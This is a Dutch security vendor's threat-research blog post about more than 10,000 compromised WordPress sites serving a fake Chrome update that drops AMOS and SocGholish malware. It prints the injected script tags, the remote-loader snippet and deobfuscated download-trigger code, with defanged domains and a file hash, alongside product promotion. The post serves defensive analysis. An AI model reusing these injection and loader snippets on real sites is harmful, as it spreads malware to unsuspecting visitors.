Skip to main content
Blog
Blog Attacks

Meer dan 10.000 WordPress-websites verspreiden malware voor macOS en Windows

We identificeerden meer dan 10.000 WordPress-sites die een nep-Google-browserupdate tonen die leidt tot malwaredownloads.

Jan 27, 2025 6 min read
10000-wordpress-image-cover

Kort samengevat: nep-Chrome-updateiframe met cross-platform malwaredrop

  • Beide payloads, één iframe: De oude regel was AMOS op Mac, SocGholish op Windows, van twee verschillende groepen. Deze campagne brak die regel en leverde beide vanuit hetzelfde nep-Chrome-updateiframe op dezelfde 10.000 WordPress-sites.
  • Gemist door threat feeds: De loader op deski.fastcloudcdn[.]com scoorde 17 van de 96 op VirusTotal, en er werden 27 nauw verwante domeinen aan de operatie gekoppeld. cside vlagde het aanvankelijke geobfusceerde JS met hoge zekerheid nog vóórdat het iframe ooit werd gerenderd.
  • Wat je nu moet doen: Draai je WordPress 6.7.1 of een ongepatchte plugin, ga er dan van uit dat je al een script laadt dat door geen enkele threat feed wordt gezien. Voeg deze week runtime-scriptinspectie toe, of ontdek de compromittering pas wanneer een bezoeker erover belt.

Weinig tijd? Bekijk cside's in-browser Magecart- en skimmerblokkering. Dit dekt alles hieronder in één deployment.

Deze week identificeerden we meer dan 10.000 WordPress-sites die via een iframe nep-Google-browserupdatepagina's tonen in de browser van bezoekers.

De pagina verspreidt platformonafhankelijke malware: zowel AMOS (Atomic macOS Stealer), gericht op Apple-gebruikers, als SocGholish, gericht op Windows-gebruikers.

Nep-Google-browserupdatepagina die via een iframe aan bezoekers van een gehackte WordPress-site wordt getoond

Dit zijn populaire en commercieel verkrijgbare malwarevarianten die al een tijdje in omloop zijn. De twee malwarevarianten worden doorgaans toegeschreven aan verschillende groepen aanvallers, een scheiding die deze bevinding tegenspreekt.

Voor zover wij weten is dit ook de eerste keer dat ze via een client-side aanval worden afgeleverd. JavaScript dat in de browser van de gebruiker wordt geladen, genereert de neppagina in een iframe. De aanvallers maken gebruik van verouderde WordPress-versies en plugins om detectie te bemoeilijken voor websites zonder een client-side monitoringtool.

De aanvallers hebben waarschijnlijk een kwetsbaarheid in een WordPress-plugin gebruikt om de kwaadaardige JavaScript af te leveren. Dit bestand wordt momenteel door geen enkele threat feed-leverancier gemarkeerd, en het domein evenmin.

VirusTotal-resultaten waarin het kwaadaardige bestand door geen enkele antivirusleverancier wordt gemarkeerd
VirusTotal-resultaten waarin het kwaadaardige domein door geen enkele beveiligingsleverancier wordt gemarkeerd

Hieronder staan twee van de grootste domeinen die op duizenden websites zijn aangetroffen:

Technische details

Met behulp van onze detectie-engine vonden we op de volgende URL een aanvankelijk verdacht JavaScript-bestand van een derde partij:

https://deski.fastcloudcdn[.]com/m_c_b28cd5c86f08a2b35c766fc4390924de[.]js

Ons platform markeerde dit met hoge zekerheid als een kwaadaardig script, vanwege de sterk geobfusceerde aard ervan, waarbij meerdere lagen van codering werden gebruikt. Dit leidde tot verder onderzoek, waarmee we een netwerk van meer dan 10.000 geïnfecteerde WordPress-websites blootlegden.

Een voorbeeld van een gecompromitteerde site is beschikbaar in onze domeindirectory.

Geïnjecteerd script met meerdere coderingslagen aangetroffen op de gecompromitteerde WordPress-sites

Blackshelter[.]org stuurt de gebruiker door naar fastcloudcdn[.]com, waar de kwaadaardige JavaScript wordt gehost.

Kwaadaardige JavaScript gehost op fastcloudcdn[.]com die de malware verspreidt

Vervolgens identificeerden we meerdere kwaadaardige scripts die op verschillende domeinen worden gehost.

<script type="rocketlazyloadscript" data-rocket-type="text/javascript" src="https://blacksaltys[.]com/2xIsQSDP8CyeXrv78zk9FGV8lZIj9SXKVc-Mpx3O5H0" id="ms_main_script-js" defer></script>
<script type="rocketlazyloadscript" data-rocket-type="text/javascript" src="https://objmapper[.]com/CtmE0s2ZteC8BuQLNprxjCPB8gAgAcIi7niu-9oX3Q2e" id="ucf_main_script-js" defer></script>

Verschillende sites bevatten **** elementen die zijn ontworpen om DNS te prefetchen voor kwaadaardige domeinen, wat waarschijnlijk de prestaties van hun operaties verbetert:

<link rel='dns-prefetch' href='//rednosehorse[.]com' />
<link rel='dns-prefetch' href='//blacksaltys[.]com' />
<link rel='dns-prefetch' href='//objmapper[.]com' />
<link rel='dns-prefetch' href='//blackshelter[.]org' />

Een zelf-aanroepende anonieme functie laadt dynamisch een extern JavaScript-bestand:

;(function(o, q, f, e, w, j) {
    w = q.createElement(f);
    j = q.getElementsByTagName(f)[0];
    w.async = 1;
    w.src = e;
    j.parentNode.insertBefore(w, j);
})(window, document, 'script', `https://deski.fastcloudcdn[.]com/m_c_b28cd5c86f08a2b35c766fc4390924de.js?qbsfsc=${Math.floor(Date.now() / 1000)}`);

Het externe script wordt dynamisch geladen en uitgevoerd, met een queryparameter (qbsfsc) die een Unix-tijdstempel bevat om cachemechanismen te omzeilen.

Waargenomen kwaadaardig gedrag

Het geobfusceerde script voert verschillende acties uit.

Eerst stopt het alle lopende browseractiviteit.

window.stop();

Vervolgens verwijdert het attributen zoals class, style, id, … enzovoort, van HTML-elementen.

for (let at of [["class", "style", "lang", "id", "dir"]]) {
    el.removeAttribute(at);}

Daarna injecteert het dynamisch het iframe in de pagina, waarmee de nep-Chrome-updatepagina wordt weergegeven.

let frame = document.createElement("iframe");
frame.srcdoc = rsd;
document.body.appendChild(frame);

Analyse en bevindingen

Uit onze analyse bleek dat de gecompromitteerde websites verouderde versies van WordPress (6.7.1) en bijbehorende plugins draaiden, wat aanvallers mogelijk hebben misbruikt om kwaadaardige code te injecteren.

We identificeerden 27 kwaadaardige domeinen die aan deze activiteit zijn gekoppeld.

Enkele voorbeelden:

  • blacksaltys[.]com
  • objmapper[.]com
  • rednosehorse[.]com
  • Blackshelter[.]org

Het kwaadaardige script op https://deski.fastcloudcdn[.]com/m_c_b28cd5c86f08a2b35c766fc4390924de[.]js liet een detectieratio van 17/96 zien op het VirusTotal-rapport.

Tijdens onze analyse ontdekten we dat deze campagne zowel Windows- als macOS-platforms viseert. We hebben met succes een dmg-bestand gedownload dat aan de macOS-malware is gekoppeld.

macOS- en Windows-malware gedecodeerd

Het malwarebestand (274efb6bb2f95deb7c7f8192919bf690d69c3f3a441c81fe2a24284d5f274973) werd op het moment van analyse gemarkeerd door 6 antivirusleveranciers.

De volgende code werd blootgelegd na meerdere lagen van deobfuscatie. Deze creëert en downloadt dynamisch het AMOS (Atomic Mac OS Stealer) macOS-malwarebestand.

<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=windows-1252" />
</head>
<body>
    <script>
        (async () => {
            try {
                var btn = document.createElement("a");
                btn.href = `hxxps://extendedstaybrunswick[.]com/wp-content/plugins/reset-wp/resty.php?eg=${Math.floor(Date.now() / 1000)}`;
                btn.download = "C_6.12.4.dmg";
                document.body.appendChild(btn);

                parent.postMessage("loaded", "*");
                window.addEventListener("message", function (event) {
                    if (event.data == "download") {
                        setTimeout(function () {
                            btn.click();
                        }, 100);
                    }
                });
            } catch (e) { }
        })()
    </script>
</body>
</html>

Het script genereert dynamisch een downloadknop die is gekoppeld aan de macOS-malwarepayload. Het luistert naar een "message"-event met de waarde "download", wat de bestandsdownload activeert.

Hier zijn twee bronnen om meer te leren over de AMOS-malware.

Hier is een bron om meer te leren over de SocGholish Windows-malware.

Zowel AMOS als SocGholish zijn commercieel verkrijgbare malware en kunnen worden aangeschaft via Telegram.

Mitigatie en bescherming

Update als eerste stap je WordPress-installatie. Update je plugins, evalueer het gebruik ervan en verwijder ongebruikte plugins. Zoek naar de scripts en verwijder ze als je ze aantreft. Aanvallers laten meestal een achterdeur achter. Zoek die op en verwijder hem.

Als je deze scripts op je site aantreft, raden we sterk aan om de logs van de afgelopen 90 dagen te controleren op indicatoren van compromittering of kwaadaardige activiteit.

Als je bestanden hebt gedownload van de getroffen websites, wordt een grondige systeemopschoning aanbevolen om mogelijke malware-infectie te beperken.

cside kan client-side aanvallen zoals deze detecteren, melden en blokkeren dankzij onze geavanceerde detectie-engine en proxy. Deze aanval zou zijn opgemerkt en geblokkeerd met cside geïnstalleerd, waardoor nietsvermoedende gebruikers zouden zijn beschermd tegen de malwaredownload.

Deze aanval is een herinnering om de webtoeleveringsketen te beveiligen en software up-to-date te houden. Op basis van onze analyse raden we het volgende aan:

Je kunt gratis beginnen of contact met ons opnemen.

Volledige lijst van geïnfecteerde websites

Veilige links naar de PublicWWW-pagina's van de geïnfecteerde domeinen:

Himanshu Anand
Software Engineer

I'm a software engineer and security analyst.

Monitor en beveilig je third-party scripts

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Start gratis, of probeer Business met een proefperiode van 14 dagen.

cside-dashboardinterface met scriptmonitoring en beveiligingsanalyses
Related Articles
Boek een demo

Wil je dit doornemen met een engineer?

Dertig minuten, op je eigen site. Geen slides.

We laten je zien:

Welke scripts van derden er nu op je site draaien
Hoe je ervoor staat op PCI DSS 6.4.3 en 11.6.1
Welk deel van je verkeer uit bots en AI-agents bestaat

Liever gewoon een vraag stellen?

Vrije momenten zoeken…

Alleen echte mensen. Wij merken het.

Lukt het boeken niet? Agenda in een nieuw tabblad openen

Wat wil je oplossen?

Vertel het ons in één zin, dan komen we terug met iets bruikbaars in plaats van een standaardverhaal.

Waar we meestal mee helpen:

Zien welke scripts van derden op je site draaien
Bewijs voor PCI DSS 6.4.3 en 11.6.1
Bots, AI-agents en accountovername

Liever meteen een moment inplannen? Kies een tijdstip